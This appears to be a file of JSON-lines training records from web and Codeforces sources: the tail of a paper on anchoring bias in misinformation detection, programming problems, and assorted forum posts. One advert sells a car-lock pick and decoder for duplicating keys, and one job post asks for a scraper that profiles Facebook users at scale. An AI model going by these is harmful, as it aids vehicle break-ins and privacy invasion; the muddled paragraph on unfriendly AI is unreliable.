analytics.\nLimitations. One limitation of our study was limited testing on the design of the interface. While the training process differed between groups, all users received the same interface. However, design layouts could have interaction effects with treatments. One approach could provide revised interface layouts to identify the marginal value of design or even each specific view in the decision-making process under cognitive bias treatments. For example, testing whether the strategy cues with only the Tweet Panel view (i.e., mimics everyday social media usage) can measure a baseline accuracy. With such a baseline, a more precise estimate of the effect of the visualizations can be inferred.\nA second limitation is the choice of accounts in the decision-making task. If we were to have selected more difficult accounts (like @MOMENT) than easy accounts (e.g., @GothamPost), we may find cognitive biases have a larger effect. Moreover, different accounts may also lend to other strategy cues that could affect the treatments.\nFuture Work. There are several promising paths of future work for understanding cognitive biases through visual analytics. First, there are many opportunities to expand Verifi to include additional tools in identifying misinformation including images, semantic text analysis (e.g., word embeddings), and account-level clusters. A newer version of Verifi  addresses many of these issues and provides a longer dataset of accounts with a broader range of accounts. With different stimuli, future experiments could explore the effect of visual anchors on image exploration (e.g., can exposures to extreme emotions affect users’ performance when provided images as well?). Further, future system iterations could include streaming components that test decision-making under dynamic data.\nSecond, future systems could incorporate a “suspicious” supervised model (e.g., ) as a credibility score for decision-makers. This would enable interpretation of higher dimensional features into a single vector. In doing so, users could be ranked on overall (or dimension level). A credibility score would lend itself to combine more cues into a transparent, easy to understand heuristics as cues (e.g., any accounts over score x are suspected of misinformation).\nLast, more research is needed on how individual differences affect decision-making in visual analytics. Our results, while promising, also indicate that some users are not affected by the strategy cues or visual anchors (e.g., some anchored to social network were from a different treatment). Said differently, some users’ decision-making seem to be based on their individual traits (e.g., experience, familiarity , cognitive ability ) rather than treatments. Future work could incorporate more sophisticated experiment designs by attempting to identify heterogeneous treatment effects [28, 3].\nIn this paper, we presented an experiment on the role of anchoring bias in users’ decision-making, interaction paths, and confidence in identifying misinformation on Twitter in visual analytic systems. We find that providing visual anchors and strategy cues can greatly affect users’ confidence but have mixed effects on users’ speed and decision accuracy. Secondary factors like view importance can also play a role in users’ confidence while strategy cues can drastically improve decision-making if used correctly (and not ignored). Last, exploration of user interaction logs can provide hints to users’ strategies and the effects such treatments can have for certain individuals. While we find that some users are susceptible to such anchoring biases, others can ignore such treatments – perhaps due to uncertainty or a lack of trust – leading individual attributes like motivation or interest can explain more of the users’ knowledge seeking behaviors.\n-  T. Amer, D. G. Gozli, and J. Pratt. Biasing spatial attention with semantic information: an event coding approach. Psychological research, pages 1–19, 2017.\n-  K. Andrews. Evaluation comes in many guises. Proceedings of the 2008 AVI workshop on BEyond time and errors: novel evaluation methods for informaiton visualization, (BELIV)., 2008.\n-  S. Athey and G. W. Imbens. The econometrics of randomized experiments. In Handbook of Economic Field Experiments, volume 1, pages 73–140. Elsevier, 2017.\n-  O. Bergman, T. Ellingsen, M. Johannesson, and C. Svensson. Anchoring and cognitive ability. Economics Letters, 107(1):66–68, 2010.\n-  S. E. Blackwell, M. Browning, A. Mathews, A. Pictet, J. Welch, J. Davies, P. Watson, J. R. Geddes, and E. A. Holmes. Positive imagery-based cognitive bias modification as a web-based treatment tool for depressed adults: a randomized controlled trial. Clinical Psychological Science, 3(1):91–111, 2015.\n-  D. Bonaretti, M. Ł. Bartosiak, and G. Piccoli. Cognitive anchoring of color cues on online review ratings. 2017.\n-  I. Cho, R. Wesslen, A. Karduni, S. Santhanam, S. Shaikh, and W. Dou. The anchoring effect in decision-making with visual analytics. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  I. Cho, R. Wesslen, S. Volkova, W. Ribarsky, and W. Dou. Crystalball: A visual analytic system for future event discovery and analysis from social media data. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  G. Ellis and A. Dix. Decision making under uncertainty in visualisation? In IEEE Conference on Visual Analytics Science and Technology (VAST), 2015.\n-  T. Galili. dendextend: an r package for visualizing, adjusting, and comparing trees of hierarchical clustering. Bioinformatics, 2015.\n-  T. Galili, A. O’Callaghan, J. Sidi, and C. Sievert. heatmaply: an r package for creating interactive cluster heatmaps for online publishing. Bioinformatics, 2017.\n-  T. Isenberg, P. Isenberg, J. Chen, M. Sedlmair, and T. Möller. A systematic review on the practice of evaluating visualization. IEEE Transactions on Visualization and Computer Graphics, 19(12):2818–2827, Dec 2013.\n-  D. Kahneman. 36 heuristics and biases. Scientists Making a Difference: One Hundred Eminent Behavioral and Brain Scientists Talk about Their Most Important Contributions, page 171, 2016.\n-  A. Karduni, I. Cho, R. Wesslen, S. Santhanam, S. Volkova, D. Arendt, S. Shaikh, and W. Dou. Vulnerable to misinformation? verifi! Submitted to VAST 2018, 2018.\n-  A. Karduni, R. Wesslen, S. Santhanam, I. Cho, S. Volkova, D. Arendt, S. Shaikh, and W. Dou. Can you verifi this? studying uncertainty and decision-making about misinformation in visual analytics. The 12th International AAAI Conference on Web and Social Media (ICWSM), 2018.\n-  D. A. Keim. Information visualization and visual data mining. IEEE transactions on Visualization and Computer Graphics, 8(1):1–8, 2002.\n-  H. Lam, E. Bertini, P. Isenberg, C. Plaisant, and S. Carpendale. Empirical studies in information visualization: Seven scenarios. IEEE Transactions on Visualization and Computer Graphics, 18(9):1520–1536, Sept 2012.\n-  D. M. Lazer, M. A. Baum, Y. Benkler, A. J. Berinsky, K. M. Greenhill, F. Menczer, M. J. Metzger, B. Nyhan, G. Pennycook, D. Rothschild, et al. The science of fake news. Science, 359(6380):1094–1096, 2018.\n-  F. Lieder, T. L. Griffiths, Q. J. Huys, and N. D. Goodman. The anchoring bias reflects rational use of cognitive resources. Psychonomic bulletin & review, pages 1–28, 2017.\n-  A. Loy, H. Hofmann, and D. Cook. Model choice and diagnostics for linear mixed-effects models using statistics on street corners. Journal of Computational and Graphical Statistics, 26(3):478–492, 2017.\n-  T. Munzner. Visualization analysis and design. CRC press, 2014.\n-  F. Murtagh and P. Legendre. Wardâs hierarchical agglomerative clustering method: which algorithms implement wardâs criterion? Journal of classification, 31(3):274–295, 2014.\n-  G. Pennycook, T. D. Cannon, and D. G. Rand. Implausibility and illusory truth: Prior exposure increases perceived accuracy of fake news but has no effect on entirely implausible statements. Available at SSRN, 2017.\n-  G. Pennycook and D. G. Rand. Crowdsourcing judgments of news source quality. 2018.\n-  C. Plaisant. The challenge of information visualization evaluation. In Proceedings of the Working Conference on Advanced Visual Interfaces, AVI ’04, pages 109–116, New York, NY, USA, 2004. ACM.\n-  J. Rajsic, D. E. Wilson, and J. Pratt. Confirmation bias in visual search. Journal of experimental psychology: human perception and performance, 41(5):1353, 2015.\n-  D. Sacha, H. Senaratne, B. C. Kwon, G. Ellis, and D. A. Keim. The role of uncertainty, awareness, and trust in visual analytics. IEEE transactions on visualization and computer graphics, 22(1):240–249, 2016.\n-  M. J. Salganik. Bit by bit: social research in the digital age. Princeton University Press, 2017.\n-  D. M. Shaffer, E. McManama, and F. H. Durgin. Manual anchoring biases in slant estimation affect matches even for near surfaces. Psychonomic bulletin & review, 22(6):1665–1670, 2015.\n-  K. Shu, A. Sliva, S. Wang, J. Tang, and H. Liu. Fake news detection on social media: A data mining perspective. ACM SIGKDD Explorations Newsletter, 19(1):22–36, 2017.\n-  A. Tversky and D. Kahneman. Judgment under uncertainty: Heuristics and biases. science, 185(4157):1124–1131, 1974.\n-  A. C. Valdez, M. Ziefle, and M. Sedlmair. A framework for studying biases in visualization research. 2017.\n-  A. C. Valdez, M. Ziefle, and M. Sedlmair. Priming and anchoring effects in visualization. IEEE transactions on visualization and computer graphics, 24(1):584–594, 2018.\n-  S. Volkova, K. Shaffer, J. Y. Jang, and N. Hodas. Separating facts from fiction: Linguistic models to classify suspicious and trusted news posts on twitter. In Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics (Volume 2: Short Papers), volume 2, pages 647–653, 2017.\n-  S. Vosoughi, D. Roy, and S. Aral. The spread of true and false news online. Science, 359(6380):1146–1151, 2018.\n-  E. Wall, L. M. Blaha, L. Franklin, and A. Endert. Warning, bias may occur: A proposed approach to detecting cognitive bias in interactive visual analytics. In IEEE Conference on Visual Analytics Science and Technology (VAST), 2017.\n-  H. Wickham. ggplot2: Elegant Graphics for Data Analysis. Springer-Verlag New York, 2016.\n-  W. Wright, D. Sheffield, and S. Santosa. Argument mapper: Countering cognitive biases in analysis with critical (visual) thinking. In Information Visualisation (IV), 2017 21st International Conference, pages 250–255. IEEE, 2017.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The New Year is coming! That's why many people today are busy preparing New Year presents. Vasily the Programmer is no exception.\n\nVasily knows that the best present is (no, it's not a contest) money. He's put n empty wallets from left to right in a row and decided how much money to put in what wallet. Vasily decided to put ai coins to the i-th wallet from the left.\n\nVasily is a very busy man, so the money are sorted into the bags by his robot. Initially, the robot stands by the leftmost wallet in the row. The robot can follow instructions of three types: go to the wallet that is to the left of the current one (if such wallet exists), go to the wallet that is to the right of the current one (if such wallet exists), put a coin to the current wallet. Due to some technical malfunctions the robot cannot follow two \"put a coin\" instructions in a row.\n\nVasily doesn't want to wait for long, so he wants to write a program for the robot that contains at most 106 operations (not necessarily minimum in length) the robot can use to put coins into the wallets. Help him.", "source": "cpt_codeforces", "language": "en", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I wonder if some people like me prefer to learn coding through examples rather than following already-made courses and then apply practical examples?A bottom-up approach rather than a top-down approach?\nFor example, I found out that I am more efficient when I know the basic syntax of a programming language and the main principles, and then reading the W3Schools documentation (for example) and then playing with these new learnt syntax with some examples on codepen.io and seeing the results.\nI then understand the concepts through the results, and not the other way around (1st concept 2nd practical examples).\nAt least for coding (for everything else I’m kind of an intellectual with a top-down approach)\nDon’t know whyn its just that I like practical examples in coding and seeing the immediate results, making mistakes and refining my coding skills by testing many many times until I get the desired result.\nAnybody has the same feeling or way of learning?\nNote: I also follow Free Code Compa and other coding wbsites formal courses at the same time, but sometimes when it gets too abstract, I dig my hands in the dirt and play with tech documentation even if I haven’t learn the basic foundation principles (is it risky?)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 252, "token_count_with_eod": 253, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Premium Ford Tibbe Pick & Decoder\nThis version of the Tibbe pick is of far stronger construction, made from stainless steel with an easy to use precise built in decoding gauge, a superb quality professional tool, for both beginners and professionals.\nThe Premium Ford Tibble Pick / Decoder comes in a fantastic metal storage case for protecting your Premium Tibbe Pick at all times, it includes a high quality version of this tool which is position-marked to give a clear reading of the lock code.\nThe set comes with a FREE Make Up key to be used once the lock is decoded, and a FREE CD Rom explaining how to use this superb tool and decoder, as well as a set of disks (1 to 4) to allow you to make up a duplicate key ready for use or key cutting.\nAlso included is an extended tension bar for the pick and screwdriver for the make-up key, and instructions on picking with this tool.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’ve tried to change sort priority type in project settings, see if it will improve anything. It fixes some bugs, but makes another appear under different angles.\nChanging sorting priority on meshes does not help in this case. It only makes some crystals pop-out above all other.\nOne good solution that I found is to use Masked instead of Translucent in Blend Mode of the material. And then applying DitherTemporalAA node to the alpha texture.\nBut unfortunately, this blend mode does not support refraction. And crystals without refraction are lame\nAny sorting happens on per component basis, so if your crystals are one mesh, the order in which surfaces will appear solely depends on the order they were created in your content creation package and/or exported from it. Even if each crystal is a separate mesh(which you should not be doing anyway), the sorting will only grantee clean result if the meshes are spread out sufficiently.\nWhat you can do, is render your mesh into custom depth pass and in its material, check if pixel depth roughly equals custom depth. If so, set opacity to 1, otherwise 0.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given integers $$$d$$$ and $$$p$$$, $$$p$$$ is prime.\n\nAlso you have a mysterious device. It has memory cells, each contains an integer between $$$0$$$ and $$$p-1$$$. Also two instructions are supported, addition and raising to the $$$d$$$-th power. $$$\\textbf{Both are modulo}$$$ $$$p$$$.\n\nThe memory cells are numbered $$$1, 2, \\dots, 5000$$$. Initially cells $$$1$$$ and $$$2$$$ contain integers $$$x$$$ and $$$y$$$, respectively ($$$0 \\leqslant x, y \\leq p - 1$$$). All other cells contain $$$\\textbf{1}$$$s.\n\nYou can not directly access values in cells, and you $$$\\textbf{don't know}$$$ values of $$$x$$$ and $$$y$$$ (but you know they are written in first two cells). You mission, should you choose to accept it, is to write a program using the available instructions to obtain the product $$$xy$$$ modulo $$$p$$$ in one of the cells. You program should work for all possible $$$x$$$ and $$$y$$$.\n\nAddition instruction evaluates sum of values in two cells and writes it to third cell. This instruction is encoded by a string \"+ e1 e2 to\", which writes sum of values in cells e1 and e2 into cell to. Any values of e1, e2, to can coincide.\n\nSecond instruction writes the $$$d$$$-th power of a value in some cell to the target cell. This instruction is encoded by a string \"^ e to\". Values e and to can coincide, in this case value in the cell will be overwritten.\n\nLast instruction is special, this is the return instruction, and it is encoded by a string \"f target\". This means you obtained values $$$xy \\bmod p$$$ in the cell target. No instructions should be called after this instruction.\n\nProvide a program that obtains $$$xy \\bmod p$$$ and uses no more than $$$5000$$$ instructions (including the return instruction).\n\nIt is guaranteed that, under given constrains, a solution exists.", "source": "cpt_codeforces", "language": "en", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The Super Duper Secret Meeting of the Super Duper Secret Military Squad takes place in a Super Duper Secret Place. The place is an infinite plane with introduced Cartesian coordinate system. The meeting table is represented as a rectangle whose sides are parallel to the coordinate axes and whose vertexes are located at the integer points of the plane. At each integer point which belongs to the table perimeter there is a chair in which a general sits.\n\nSome points on the plane contain radiators for the generals not to freeze in winter. Each radiator is characterized by the number ri — the radius of the area this radiator can heat. That is, if the distance between some general and the given radiator is less than or equal to ri, than the general feels comfortable and warm. Here distance is defined as Euclidean distance, so the distance between points (x1, y1) and (x2, y2) is $$\\sqrt{(x_{1}-x_{2})^{2}+(y_{1}-y_{2})^{2}}$$\n\nEach general who is located outside the radiators' heating area can get sick. Thus, you should bring him a warm blanket. Your task is to count the number of warm blankets you should bring to the Super Duper Secret Place.\n\nThe generals who are already comfortable do not need a blanket. Also the generals never overheat, ever if they are located in the heating area of several radiators. The radiators can be located at any integer points on the plane, even inside the rectangle (under the table) or on the perimeter (directly under some general). Even in this case their radius does not change.", "source": "cpt_codeforces", "language": "en", "token_count": 336, "token_count_with_eod": 337, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "If you are getting to know someone, you have every right to ask questions if the other person also wishes to be known by you.\nHowever, what sometimes happens, is that people live so much \"in their own head\", that they think others should simply SEE them.\nBut not everyone will, and not everyone can.\nSo you have to ask questions.\nSpecially if you only see each other from time to time, and not on a regular basis, like in a setting of work or studies, for example.\nIf the person gets offended, don't fall into the trap of feeling offended because they felt offended, for this is when you will, unconsciously, choose to ignore that you have been denied the right to speak and ask questions at the first place, in other words, that you have been wronged, and now find yourself having to worry about them.\nThis is very wrong, and you have to see that it is wrong.\nOf course, some questions are out of question, or too fast, too soon, but people can let each other know what is sensitive matter and can also reassure each other in order to build trust and confidence.\nHaving said that, before all this had to happen, your intuition had probably warned you about that person but sometimes, we like to give people the benefit of the doubt, which is not always a good idea.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an interactive problem.\n\nThis is a hard version of the problem. The difference from the easy version is that in the hard version $$$1 \\le t \\le \\min(n, 10^4)$$$ and the total number of queries is limited to $$$6 \\cdot 10^4$$$.\n\nPolycarp is playing a computer game. In this game, an array consisting of zeros and ones is hidden. Polycarp wins if he guesses the position of the $$$k$$$-th zero from the left $$$t$$$ times.\n\nPolycarp can make no more than $$$6 \\cdot 10^4$$$ requests totally of the following type:\n\n- ? $$$l$$$ $$$r$$$ — find out the sum of all elements in positions from $$$l$$$ to $$$r$$$ ($$$1 \\le l \\le r \\le n$$$) inclusive.\n\nTo make the game more interesting, each guessed zero turns into one and the game continues on the changed array. More formally, if the position of the $$$k$$$-th zero was $$$x$$$, then after Polycarp guesses this position, the $$$x$$$-th element of the array will be replaced from $$$0$$$ to $$$1$$$.\n\nHelp Polycarp win the game.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nCannot open document for editing in Sharepoint (MOSS 2007)\nI am experiencing a frustrating issue when I try to check out a document for editing in one of our Sharepoint sites (running MOSS 2007, Office 2010, IE9, Win 7 32 bit SP1), when I try to open the ...\nMay 27 '11 at 15:37\nnewest check-out windows-7 questions feed\nHot Network Questions\nPublic constructor of a private class\nWill Ospf advertising router id be modified during flooding?\nTool to reveal credentials in unencrypted POP3 connection\nKid's homework: 4 equations 5 unknowns? Going crazy!\nHow could there be a truly \"pure\" state?\nShould I unsubscribe uninterested mailing-list members?\nIs this function vulnerable to SQL injection?\nWhy did Microsoft choose the word \"Recycle Bin\"?\nWhat is the 'John Doe' of company names and logo's?\nWriting better JUnit tests\nWhy is router considered to be a layer 3 device while it can handle layer 4 headers too?\nJust found out my 13 year old girl is Bi and dating a 17 year old girl in an \"open\" relationship. Huh? Now what?\nCan we introduce new operations that make quintics solvable?\nWhy was the triceratops ill?\nFind the particular solutuon of the equation that satisfies condition\nWhat is the differences between mysql-client and mysql-client-core?\nIs machine language always binary?\nHow can a Paladin be converted into an Anti-Paladin?\nAre Master's becoming required for USA PhD programs?\nHow can I make my sed command work on OSX as well as Ubuntu\nGet old search style back in Nautilus\nQuestion about conjugate points\nWhen to use esc_html and when to use sanitize_text_field?\nAlgebra: What does \"is defined for\" mean?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 563, "token_count_with_eod": 564, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The list of don’ts.\nKnowing what not to do, is often easier then knowing what to do. Knowing what you want is more frequently in the forefront of your mind then knowing what’s best. In petty, insignificant scenarios, often we are not even aware of how little they really are. What matters one day, will not mean a thing say, in a week. Rules may be meant to be broken, but maybe not restrictions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 90, "token_count_with_eod": 91, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am going to set up a new zpool. I plan to use nested datasets to store individual files. For example I could have the following datasets:\ntank tank/homes/user1 tank/homes/user2 ... tank/shares/pub tank/shares/misc ...\ntank is the zpool itself, it contains no files, instead, all files are stored in the datasets like\ntank/homes/user and so on.\nNow I want to set up a proper backup for this. The problem is that the zpool will be large (100T) and therefore, the incremental backup will take a long time, therefore the files can change during the backup and the backup agent will then retry the backup, which slows it further down etc.\nSo I planned to make a snapshot, like\nzfs snap tank@backup, then use the snapshot to perform the backup, and then destroy the snapshot afterwards.\nHowever, this does not work, as the snapshot\ntank@backup will not contain the sub-datasets like\ntank/shares/pub. However, with\nzfs snap -r tank@backup I get recursive snapshots, but I cannot use these, as it will be messy for the restore of the backup.\nUnfortunately, I cannot use\nzfs send and\nzfs receive for the backup, as I use IBM Tivoli / Spectrum Protect for the backup, i.e.\ndsmc, which, to my knowledge, needs files to backup, and I believe it won't work with\nSo I believe, I will probably end up with just backing up\n/tank/*, e.g. something like\ndsmc incremental /tank/* -subdir=yes, which ignores all ZFS features and will backup datasets like ordinary folders and so on.\nIs there probably a better method?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The OpenDataNow project is to create a central repository of scraped data in convenient formats that everyone can use right now, without needing to write their own screen scrapers. This repository is managed by a collection of screen scrapers maintained by the Ottawa open data community through GitHub.\nAt one of the Open Data Ottawa events in April, it became apparent that people working on different projects had all written their own screen scrapers, and many people had neat ideas but were lacking the data necessary to make them reality.\nOur hope is that OpenDataNow will help the community spend less time writing screen scrapers and more time doing awesome stuff.\nWhere can I find...\n- The data: http://repo.opendatanow.ca/\n- The GitHub repository: http://github.com/dlitz/opendatanow\n- Open Data Ottawa: http://www.opendataottawa.ca/\nHow does it work?\nOpenDataNow is really just a bunch of scripts that run on a server running Debian GNU/Linux (sid). Scripts can be written in Ruby, Python, Java, or whatever, as long as it can be made to run in this environment.\nWhenever changes are pushed to the GitHub repository, the server automatically runs \"script/stop\", kills any running processes, pulls the changes, updates the crontab, and restarts the server by running \"script/start\". (See script/root/cycle-daemon for details.)\nSome tasks (such as installing new Debian packages) must be done manually by a system administrator, but the idea is to let others maintain the repository with as little administrator intervention as possible.\nHow can I help?\nThe best way to help is to fork the GitHub repository at http://github.com/dlitz/opendatanow, push your changes, then send us a pull request.\n- Contribute screen scrapers. More screen scrapers means more data available for everyone in the community.\n- Contribute data transformations. Data in XML when you prefer JSON? Write a translator.\n- Write automated tests. Right now, we have no way of knowing when a scraper stops working. Automated testing would helps us a lot.\n- Write documentation. The documentation for OpenDataNow is pretty sketchy right now.\n- Make web pages. The OpenDataNow website is basically non-existant at this point. It could use improvement.\n- Get others involved. We need all the help we can get.\nWho's behind this?\n- Dwayne C. Litzenberger\n- Your name here\nIs this legal?\nOpenDataNow arose out of discussions at an event organized by Open Data Ottawa, a grassroots organization that will be launching Ottawa's first open data hackfest on April 24, 2010. Coinciding with the hackfest, the City of Ottawa will begin releasing their data to the public in formats suitable for re-use. The idea is that, eventually, most city data will be made public in a manner similar to http://data.gov/ in the U.S. In the meantime, the community has received permission to scrape City of Ottawa data ourselves. (At least, that's what was announced at the last Open Data Ottawa event.)\nCopyright (for the scrapers)\nCopyright (c) 2010 Dwayne C. Litzenberger\nThis program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\nYou should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "For the purpose of an app I need to be able to perform some actions, either via apex code or workflow/process builder to update another object, however I can’t seem to find a documented way to do it. Is it possible on the platform\nIf TestField__c on Account is deleted (or the type is changed) the object Object_Status__c needs to be notified and register it. So I need the api name of the field and the action that was taken on it.\nThere isn’t currently a native way to detect and take actions immediately after a change to the Metadata occurs.\nAs kurunve commented, there is the SetupAuditTrail in the SOAP API.\nRepresents changes you or other admins made in your org’s Setup area for at least the last 180 days.\nYou would need to poll this on an interval to detect the change.\nLikewise, you could also directly poll and compare metadata to detect changes such as a field added or deleted.\nThere was a discussion along similar lines on twitter recently about having an automation point to detect metadata changes. My position was that a trigger isn’t really the right place for such automation. A trigger that is itself described in metadata doesn’t seem like a great place to monitor metadata changes.\nPlatform events however would be useful for this as they would execute outside the actual deployment.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I will provide list of FB profile names (no user ID's or profile names), and possibly some public phone numbers.\nYour script or app will bring following results:\n-Should be able to work flawlessly for 100's of thousands of profiles\n- FB users' all the liked pages list\n- User ID's\n- Profile links\n- Age, sex, location, occupation,... any other available information.\n- in CSV file format\n4 freelance font une offre moyenne de $209 pour ce travail\nI have 2 and a hald years of experience in making Android apps. I'm sure i can satisfy your conditions and make a very nice app. If you want further details you can contact me. Thank you\nI am very tech savvy and know how to navigate Facebook. I'm efficient and thorough. I'm also a perfectionist by nature and this is reflected in my work as well.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "K-Fault Tolerance of the Internet AS Graph\nInternet disruptions such as the Northeast Blackout and the Taiwan earthquake highlight the fragility of today's Internet. The authors' goal in this paper is to investigate the robustness of inter-domain communication at the level of Autonomous Systems (ASes), taking into account both topological connectivity and compliance to routing policies. To this end, they introduce the concept of k-fault tolerance for Type-of-Relationship (ToR) graphs, which requires that any two nodes (ASes) remain reachable from each other even after removing arbitrary k nodes from the AS graph. Their main contribution is theoretical and concerns the complexity of the k-fault tolerance decision problem.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a sequence of $$$n$$$ pairs of integers: $$$(a_1, b_1), (a_2, b_2), \\dots , (a_n, b_n)$$$. This sequence is called bad if it is sorted in non-descending order by first elements or if it is sorted in non-descending order by second elements. Otherwise the sequence is good. There are examples of good and bad sequences:\n\n- $$$s = [(1, 2), (3, 2), (3, 1)]$$$ is bad because the sequence of first elements is sorted: $$$[1, 3, 3]$$$;\n- $$$s = [(1, 2), (3, 2), (1, 2)]$$$ is bad because the sequence of second elements is sorted: $$$[2, 2, 2]$$$;\n- $$$s = [(1, 1), (2, 2), (3, 3)]$$$ is bad because both sequences (the sequence of first elements and the sequence of second elements) are sorted;\n- $$$s = [(1, 3), (3, 3), (2, 2)]$$$ is good because neither the sequence of first elements $$$([1, 3, 2])$$$ nor the sequence of second elements $$$([3, 3, 2])$$$ is sorted.\n\nCalculate the number of permutations of size $$$n$$$ such that after applying this permutation to the sequence $$$s$$$ it turns into a good sequence.\n\nA permutation $$$p$$$ of size $$$n$$$ is a sequence $$$p_1, p_2, \\dots , p_n$$$ consisting of $$$n$$$ distinct integers from $$$1$$$ to $$$n$$$ ($$$1 \\le p_i \\le n$$$). If you apply permutation $$$p_1, p_2, \\dots , p_n$$$ to the sequence $$$s_1, s_2, \\dots , s_n$$$ you get the sequence $$$s_{p_1}, s_{p_2}, \\dots , s_{p_n}$$$. For example, if $$$s = [(1, 2), (1, 3), (2, 3)]$$$ and $$$p = [2, 3, 1]$$$ then $$$s$$$ turns into $$$[(1, 3), (2, 3), (1, 2)]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 510, "token_count_with_eod": 511, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A compass points directly toward the morning star. It can only point in one of eight directions: the four cardinal directions (N, S, E, W) or some combination (NW, NE, SW, SE). Otherwise, it will break.\n\nThe directions the compass can point.\n\nThere are $$$n$$$ distinct points with integer coordinates on a plane. How many ways can you put a compass at one point and the morning star at another so that the compass does not break?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Paramount of a system to test, recognize, and to increasingly be able to successfully correct or compensate for unfriendly AI is to learn how. I requires to establish and promote time and date when this can be done.\nThe time when this research is beginning to bear fruit must lay sufficiently before an undefined procedure (unfriendly or mistaken) is acting to wipe out the human race.\nA secure environment for an intellectual learning effort on friendly AI is not officially under control or publicly unknown. Short of humans who are learning it, AI must probably control it in a secure location, most likely an oceanic submarine tower resembling nuclear bunker protection against violent destruction.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Socket for GitHub\nDetect suspicious packages in PRs\nUse Socket from the command line\nSocket Dependency Search\nFind any package for your project\nWant to read all the docs? Start here\nKeep up to date with all the news\nCheck out our customer stories\nA flexible admin panel for CRUD operations on various data.\nWeb administrative panel module\nAn Minecraft Plugin to control your Server!\nA admin panel for all trigyn core apps", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 89, "token_count_with_eod": 90, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This question type provides answer choices for the respondent to choose from - like a multiple-choice question. These questions provide you with quantitative data to use in your analysis. On YouGov Surveys you can also use images in close-ended answer options.\nThis question type asks the respondent for feedback in their own words. Since open-ended questions can take much longer to answer and analyse, we only recommend using a few in your survey. Please note: YouGov Surveys does NOT offer coding or analysis of open-ended questions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vasily exited from a store and now he wants to recheck the total price of all purchases in his bill. The bill is a string in which the names of the purchases and their prices are printed in a row without any spaces. Check has the format \"name1price1name2price2...namenpricen\", where namei (name of the i-th purchase) is a non-empty string of length not more than 10, consisting of lowercase English letters, and pricei (the price of the i-th purchase) is a non-empty string, consisting of digits and dots (decimal points). It is possible that purchases with equal names have different prices.\n\nThe price of each purchase is written in the following format. If the price is an integer number of dollars then cents are not written.\n\nOtherwise, after the number of dollars a dot (decimal point) is written followed by cents in a two-digit format (if number of cents is between 1 and 9 inclusively, there is a leading zero).\n\nAlso, every three digits (from less significant to the most) in dollars are separated by dot (decimal point). No extra leading zeroes are allowed. The price always starts with a digit and ends with a digit.\n\nFor example:\n\n- \"234\", \"1.544\", \"149.431.10\", \"0.99\" and \"123.05\" are valid prices,\n- \".333\", \"3.33.11\", \"12.00\", \".33\", \"0.1234\" and \"1.2\" are not valid.\n\nWrite a program that will find the total price of all purchases in the given bill.", "source": "cpt_codeforces", "language": "en", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_codeforces"}
